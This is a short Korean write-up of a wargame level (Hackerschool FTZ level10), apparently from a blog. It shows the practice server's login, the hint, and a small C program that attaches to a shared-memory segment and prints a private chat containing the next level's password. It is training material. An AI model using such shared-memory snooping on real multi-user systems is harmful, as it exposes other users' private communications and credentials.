Wargame/FTZ

Hackerschool FTZ level10

pwn3r_45 2011. 7. 17. 13:22
Category : System hacking

ssh://ftz.hackerschool.org
id : level10
pw : interesting to hack!

Summary : Tap chatting based on shared memory



서버에 접속하여 문제 파일을 확인한다.

[level10@ftz level10]$ ls -l
합계 16
-rw-r-----    1 root     level10       253  1월 14  2010 hint
drwxr-x---    2 root     root         4096  3월 29  2003 program
drwxr-xr-x    2 root     level10      4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level10      4096  7월 12 02:40 tmp
[level10@ftz level10]$ cat hint


두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며,
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여
level11의 권한을 얻어라.

- 레벨을 완료하셨다면 소스는 지우고 나가주세요.


공유메모리 기반의 채팅을 도청하는 것이 문제의 목적이다.
공유메모리의 정보를 확인한 후 , C로 공유메모리의 데이터를 얻어오는 프로그램을 작성해 실행한다.

[level10@ftz tmp]$ ipcs

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status     
0x00001d6a 0          root      666        1028       0                      
0x46532e4f 65538      trainer10 777        5          1                      

------ Semaphore Arrays --------
key        semid      owner      perms      nsems    

------ Message Queues --------
key        msqid      owner      perms      used-bytes   messages   

[level10@ftz tmp]$ vi tapper.c
[level10@ftz tmp]$ cat tapper.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/shm.h>

int main()
{
 long addr;
 key_t key = 7530;
 int shmid;
 
 shmid = shmget(key , 1028 , IPC_CREAT);
 addr = shmat(shmid , 0 , SHM_RDONLY);
 printf("%s" , addr);
}
[level10@ftz tmp]$ gcc -o tapper tapper.c
tapper.c: In function `main':
tapper.c:12: warning: assignment makes integer from pointer without a cast
[level10@ftz tmp]$ ./tapper
멍멍: level11의 패스워드는?
구타: what!@#$?


level10 user의 password를 얻었다.